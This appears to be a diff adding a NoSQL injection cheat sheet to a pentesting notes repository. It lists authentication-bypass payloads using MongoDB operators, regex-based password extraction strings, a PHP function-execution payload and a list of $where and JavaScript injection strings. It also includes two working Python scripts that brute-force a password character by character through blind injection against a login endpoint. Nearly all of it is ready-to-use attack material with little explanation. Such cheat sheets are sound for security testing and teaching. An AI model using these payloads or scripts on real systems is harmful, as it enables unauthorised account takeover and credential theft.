1 | | - | # Soon! |
| 1 | + | ## NoSQL injection |
| 2 | + | |
| 3 | + | ## Tools |
| 4 | + | |
| 5 | + | * [NoSQLmap - Automated NoSQL database enumeration and web application exploitation tool](https://github.com/codingo/NoSQLMap) |
| 6 | + | |
| 7 | + | ## Exploit |
| 8 | + | |
| 9 | + | ### Authentication Bypass |
| 10 | + | |
| 11 | + | Basic authentication bypass using not equal ($ne) or greater ($gt) |
| 12 | + | |
| 13 | + | ``` |
| 14 | + | in the request |
| 15 | + | - username[$ne]=toto&password[$ne]=toto |
| 16 | + | - login[$regex]=a.*&pass[$ne]=lol |
| 17 | + | - login[$gt]=admin&login[$lt]=test&pass[$ne]=1 |
| 18 | + | - login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto |
| 19 | + | ``` |
| 20 | + | |
| 21 | + | ```json |
| 22 | + | The output is |
| 23 | + | {"username": {"$ne": null}, "password": {"$ne": null}} |
| 24 | + | {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}} |
| 25 | + | {"username": {"$gt": undefined}, "password": {"$gt": undefined}} |
| 26 | + | {"username": {"$gt":""}, "password": {"$gt":""}} |
| 27 | + | ``` |
| 28 | + | |
| 29 | + | ### Extract length information |
| 30 | + | |
| 31 | + | ```json |
| 32 | + | username[$ne]=toto&password[$regex]=.{1} |
| 33 | + | username[$ne]=toto&password[$regex]=.{3} |
| 34 | + | ``` |
| 35 | + | |
| 36 | + | ### Extract data information |
| 37 | + | |
| 38 | + | ```json |
| 39 | + | in URL |
| 40 | + | username[$ne]=toto&password[$regex]=m.{2} |
| 41 | + | username[$ne]=toto&password[$regex]=md.{1} |
| 42 | + | username[$ne]=toto&password[$regex]=mdp |
| 43 | + | |
| 44 | + | username[$ne]=toto&password[$regex]=m.* |
| 45 | + | username[$ne]=toto&password[$regex]=md.* |
| 46 | + | |
| 47 | + | in JSON |
| 48 | + | {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }} |
| 49 | + | {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }} |
| 50 | + | {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }} |
| 51 | + | ``` |
| 52 | + | |
| 53 | + | ### Extract data with "in" |
| 54 | + | |
| 55 | + | ```json |
| 56 | + | {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}} |
| 57 | + | ``` |
| 58 | + | |
| 59 | + | ### PHP Arbitrary Function Execution |
| 60 | + | ```json |
| 61 | + | "user":{"$func": "var_dump"} |
| 62 | + | ``` |
| 63 | + | |
| 64 | + | ## Blind NoSQL |
| 65 | + | |
| 66 | + | ### POST |
| 67 | + | |
| 68 | + | ```python |
| 69 | + | import requests |
| 70 | + | import urllib3 |
| 71 | + | import string |
| 72 | + | import urllib |
| 73 | + | urllib3.disable_warnings() |
| 74 | + | |
| 75 | + | username="admin" |
| 76 | + | password="" |
| 77 | + | u="http://example.org/login" |
| 78 | + | headers={'content-type': 'application/json'} |
| 79 | + | |
| 80 | + | while True: |
| 81 | + | for c in string.printable: |
| 82 | + | if c not in ['*','+','.','?','|']: |
| 83 | + | payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) |
| 84 | + | r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False) |
| 85 | + | if 'OK' in r.text or r.status_code == 302: |
| 86 | + | print("Found one more char : %s" % (password+c)) |
| 87 | + | password += c |
| 88 | + | ``` |
| 89 | + | |
| 90 | + | ### GET |
| 91 | + | |
| 92 | + | ```python |
| 93 | + | import requests |
| 94 | + | import urllib3 |
| 95 | + | import string |
| 96 | + | import urllib |
| 97 | + | urllib3.disable_warnings() |
| 98 | + | |
| 99 | + | username='admin' |
| 100 | + | password='' |
| 101 | + | u='http://example.org/login' |
| 102 | + | |
| 103 | + | while True: |
| 104 | + | for c in string.printable: |
| 105 | + | if c not in ['*','+','.','?','|', '#', '&', '$']: |
| 106 | + | payload='?username=%s&password[$regex]=^%s' % (username, password + c) |
| 107 | + | r = requests.get(u + payload) |
| 108 | + | if 'Yeah' in r.text: |
| 109 | + | print("Found one more char : %s" % (password+c)) |
| 110 | + | password += c |
| 111 | + | ``` |
| 112 | + | |
| 113 | + | Another example using sleep to check vuln or not |
| 114 | + | ``` |
| 115 | + | '%2bsleep(1)%2b' |
| 116 | + | ``` |
| 117 | + | |
| 118 | + | ### MongoDB Payloads |
| 119 | + | |
| 120 | + | ```bash |
| 121 | + | true, $where: '1 == 1' |
| 122 | + | , $where: '1 == 1' |
| 123 | + | $where: '1 == 1' |
| 124 | + | ', $where: '1 == 1' |
| 125 | + | 1, $where: '1 == 1' |
| 126 | + | { $ne: 1 } |
| 127 | + | ', $or: [ {}, { 'a':'a |
| 128 | + | ' } ], $comment:'successful MongoDB injection' |
| 129 | + | db.injection.insert({success:1}); |
| 130 | + | db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 |
| 131 | + | || 1==1 |
| 132 | + | ' && this.password.match(/.*/)//+%00 |
| 133 | + | ' && this.passwordzz.match(/.*/)//+%00 |
| 134 | + | '%20%26%26%20this.password.match(/.*/)//+%00 |
| 135 | + | '%20%26%26%20this.passwordzz.match(/.*/)//+%00 |
| 136 | + | {$gt: ''} |
| 137 | + | [$ne]=1 |
| 138 | + | ``` |
| 139 | + | |
| 140 | + | ## References |
| 141 | + | |
| 142 | + | * [Hacktricks](https://book.hacktricks.xyz/pentesting-web/nosql-injection) |
| 143 | + | * [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/NoSQL%20Injection/README.md) |